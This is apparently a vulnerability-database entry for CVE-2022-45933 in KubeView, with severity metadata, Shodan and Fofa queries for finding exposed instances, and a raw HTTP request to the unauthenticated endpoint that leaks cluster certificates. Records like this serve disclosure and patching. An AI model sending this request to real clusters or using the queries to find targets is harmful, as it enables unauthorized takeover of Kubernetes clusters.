| Title | KubeView <=0.1.31 - Information Disclosure |
|---|---|
| Author | For3stCo1d |
| Severity | Critical |
| Impact | Unauthenticated attackers can access Kubernetes certificate files through the unauthenticated api/scrape/kube-system endpoint, potentially obtaining kube-admin credentials and gaining complete control over the Kubernetes cluster. |
| Remediation | Upgrade KubeView to a version higher than 0.1.31 to mitigate the information disclosure vulnerability (CVE-2022-45933). |
| CVSS Score | 9.8 |
| EPSS Score | 0.93266 |
| CVE ID | CVE-2022-45933 |
| CWE ID | CWE-306 |
| Shodan Query | http.title:"KubeView"http.title:"kubeview"http.favicon.hash:-379154636 |
| Fofa Query | icon_hash=-379154636title="kubeview" |
| Tags | cve cve2022 kubeview kubernetes exposure kubeview_project vkev vuln |
KubeView through 0.1.31 is susceptible to information disclosure. An attacker can obtain control of a Kubernetes cluster because api/scrape/kube-system does not require authentication and retrieves certificate files that can be used for authentication as kube-admin. An attacker can thereby possibly obtain sensitive information, modify data, and/or execute unauthorized operations.
GET /api/scrape/kube-system HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.81 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-45933.yaml
🦈 Packet Capture: ⬇️ Download cve-2022-45933.pcap
N/AN/A